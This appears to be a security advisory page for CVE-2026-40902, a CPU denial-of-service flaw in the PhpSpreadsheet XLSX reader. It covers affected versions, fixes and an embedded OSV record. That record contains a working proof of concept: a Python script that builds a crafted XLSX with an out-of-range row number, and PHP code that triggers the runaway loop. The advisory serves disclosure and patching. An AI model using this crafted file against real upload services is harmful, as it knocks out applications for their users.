CVE-2026-40902: Phpoffice/phpspreadsheet Denial of Service Vulnerability
HIGHCVE-2026-40902 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Phpoffice/phpspreadsheet libraries in the Packagist ecosystem. The issue involves phpspreadsheet has cpu denial of service via unbounded row number in xlsx row dimensions. Remediation is available by upgrading affected packages to version 5.7.0, 3.10.5, 2.4.5, 2.1.16, 1.30.4.
CVE-2026-40902 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-40902
To remediate this vulnerability, upgrade all affected Phpoffice/phpspreadsheet dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade phpoffice/phpspreadsheet to 5.7.0
Upgrade phpoffice/phpspreadsheet to 3.10.5
Upgrade phpoffice/phpspreadsheet to 2.4.5
Upgrade phpoffice/phpspreadsheet to 2.1.16
Upgrade phpoffice/phpspreadsheet to 1.30.4
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for phpoffice/phpspreadsheet
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-40902, inspect your project dependencies for Phpoffice/phpspreadsheet:
inspect dependencies for phpoffice/phpspreadsheet
Analyze the terminal output to locate any version of Phpoffice/phpspreadsheet in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.7.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Phpoffice/phpspreadsheet, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-40902 Affected Phpoffice/phpspreadsheet Versions
5 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
phpoffice/phpspreadsheet
|
Packagist |
≥ 4.0.0
< 5.7.0
|
5.7.0
|
|
phpoffice/phpspreadsheet
|
Packagist |
≥ 3.3.0
< 3.10.5
|
3.10.5
|
|
phpoffice/phpspreadsheet
|
Packagist |
≥ 2.2.0
< 2.4.5
|
2.4.5
|
|
phpoffice/phpspreadsheet
|
Packagist |
≥ 2.0.0
< 2.1.16
|
2.1.16
|
|
phpoffice/phpspreadsheet
|
Packagist |
< 1.30.4
|
1.30.4
|
References
Frequently Asked Questions
What is CVE-2026-40902?
Which Phpoffice/phpspreadsheet versions are affected?
What version fixes CVE-2026-40902?
Is phpoffice/phpspreadsheet affected?
What is the CVSS score of CVE-2026-40902?
What CWE is associated with CVE-2026-40902?
How can I check Packagist dependencies for CVE-2026-40902?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-7c6m-4442-2x6m",
"modified" : "2026-05-13T16:31:37Z",
"published" : "2026-04-29T20:24:13Z",
"aliases" : [ "CVE-2026-40902" ],
"summary" : "PhpSpreadsheet has CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions",
"details" : "## Summary\n\nThe XLSX reader's `ColumnAndRowAttributes::readRowAttributes()` method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (`AddressRange::MAX_ROW = 1,048,576`). An attacker can craft a minimal XLSX file (~1.6KB) containing a `<row r=\"999999999\"/>` element that inflates `cachedHighestRow` to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources.\n\n## Details\n\nIn `src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php` at line 216, the row index is cast directly from XML without bounds checking:\n\n```php\n// ColumnAndRowAttributes.php:216\n$rowIndex = (int) $row['r']; // No validation against AddressRange::MAX_ROW\n```\n\nThis value flows through `setRowAttributes()` (line 126) → `$this->worksheet->getRowDimension($rowNumber)` (line 60), which updates the cached highest row in `Worksheet.php:1348`:\n\n```php\n// Worksheet.php:1342-1349\npublic function getRowDimension(int $row): RowDimension\n{\n if (!isset($this->rowDimensions[$row])) {\n $this->rowDimensions[$row] = new RowDimension($row);\n $this->cachedHighestRow = max($this->cachedHighestRow, $row);\n }\n return $this->rowDimensions[$row];\n}\n```\n\nThe inflated `cachedHighestRow` is then returned by `getHighestRow()` (line 1099) and used as the default end bound in `RowIterator::resetEnd()` (RowIterator.php:86):\n\n```php\n// RowIterator.php:86\n$this->endRow = $endRow ?: $this->subject->getHighestRow();\n```\n\nNotably, column attributes already have equivalent validation at line 161 (`AddressRange::MAX_COLUMN_INT`), and cell coordinates are validated in `Coordinate::coordinateFromString()` (line 40) against `MAX_ROW`. The row dimension attribute path bypasses both of these checks.\n\n## PoC\n\n**Step 1: Create the malicious XLSX file (~1.6KB)**\n\n```python\nimport zipfile\nimport io\n\ncontent_types = '<?xml version=\"1.0\" encoding=\"UTF-8\"?><Types xmlns=\"http://schemas.openxmlformats.org/package/2006/content-types\"><Default Extension=\"rels\" ContentType=\"application/vnd.openxmlformats-package.relationships+xml\"/><Default Extension=\"xml\" ContentType=\"application/xml\"/><Override PartName=\"/xl/workbook.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml\"/><Override PartName=\"/xl/worksheets/sheet1.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml\"/></Types>'\n\nrels = '<?xml version=\"1.0\" encoding=\"UTF-8\"?><Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"><Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument\" Target=\"xl/workbook.xml\"/></Relationships>'\n\nworkbook = '<?xml version=\"1.0\" encoding=\"UTF-8\"?><workbook xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\" xmlns:r=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships\"><sheets><sheet name=\"Sheet1\" sheetId=\"1\" r:id=\"rId1\"/></sheets></workbook>'\n\nwb_rels = '<?xml version=\"1.0\" encoding=\"UTF-8\"?><Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"><Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet\" Target=\"worksheets/sheet1.xml\"/></Relationships>'\n\nsheet = '<?xml version=\"1.0\" encoding=\"UTF-8\"?><worksheet xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\"><sheetData><row r=\"1\"><c r=\"A1\"><v>1</v></c></row><row r=\"999999999\" ht=\"15\"/></sheetData></worksheet>'\n\nwith zipfile.ZipFile('dos_row.xlsx', 'w', zipfile.ZIP_DEFLATED) as zf:\n zf.writestr('[Content_Types].xml', content_types)\n zf.writestr('_rels/.rels', rels)\n zf.writestr('xl/workbook.xml', workbook)\n zf.writestr('xl/_rels/workbook.xml.rels', wb_rels)\n zf.writestr('xl/worksheets/sheet1.xml', sheet)\n\nprint(\"Created dos_row.xlsx\")\n```\n\n**Step 2: Load with PhpSpreadsheet (CPU exhaustion)**\n\n```php\n<?php\nrequire 'vendor/autoload.php';\n\nuse PhpOffice\\PhpSpreadsheet\\IOFactory;\n\n$reader = IOFactory::createReader('Xlsx');\n$spreadsheet = $reader->load('dos_row.xlsx');\n$sheet = $spreadsheet->getActiveSheet();\n\necho \"Highest row: \" . $sheet->getHighestRow() . \"\\n\";\n// Output: Highest row: 999999999\n\n// This will consume CPU for ~144 seconds (999M iterations)\nforeach ($sheet->getRowIterator() as $row) {\n // CPU exhaustion\n}\n```\n\n**Expected output:** `getHighestRow()` returns 999999999. Any row iteration hangs indefinitely.\n\n## Impact\n\n- **CPU Denial of Service:** A 1.6KB crafted XLSX file causes ~999 million loop iterations in any application that iterates rows using `getRowIterator()` or uses `getHighestRow()` as a loop bound. Estimated CPU burn is ~144 seconds per file.\n- **Memory Exhaustion:** Applications that accumulate data during iteration (e.g., importing rows into a database, building arrays) will also exhaust memory.\n- **Amplification:** The ratio of input size to resource consumption is extreme — 1,580 bytes triggers nearly 1 billion iterations.\n- **Common Attack Surface:** PhpSpreadsheet is widely used in web applications that accept user-uploaded spreadsheets for import/processing, making this easily exploitable remotely.\n\n## Recommended Fix\n\nAdd row bounds validation in `readRowAttributes()` at line 216, matching the column validation pattern already present at line 161:\n\n```php\n// src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php:216\n// Before:\n$rowIndex = (int) $row['r'];\n\n// After:\n$rowIndex = (int) $row['r'];\nif ($rowIndex < 1 || $rowIndex > AddressRange::MAX_ROW) {\n continue;\n}\n```\n\nThe `AddressRange` import is already present at line 5 of this file. This fix is consistent with the existing cell coordinate validation in `Coordinate::coordinateFromString()` and the column validation at line 161.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "phpoffice/phpspreadsheet"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "4.0.0"
}, {
"fixed" : "5.7.0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 5.6.0"
}
}, {
"package" : {
"ecosystem" : "Packagist",
"name" : "phpoffice/phpspreadsheet"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "3.3.0"
}, {
"fixed" : "3.10.5"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 3.10.4"
}
}, {
"package" : {
"ecosystem" : "Packagist",
"name" : "phpoffice/phpspreadsheet"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.2.0"
}, {
"fixed" : "2.4.5"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 2.4.4"
}
}, {
"package" : {
"ecosystem" : "Packagist",
"name" : "phpoffice/phpspreadsheet"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.0.0"
}, {
"fixed" : "2.1.16"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 2.1.15"
}
}, {
"package" : {
"ecosystem" : "Packagist",
"name" : "phpoffice/phpspreadsheet"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.30.4"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 1.30.3"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-7c6m-4442-2x6m"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40902"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/PHPOffice/PhpSpreadsheet"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-400", "CWE-770" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-29T20:24:13Z",
"nvd_published_at" : "2026-05-12T22:16:33Z"
}
}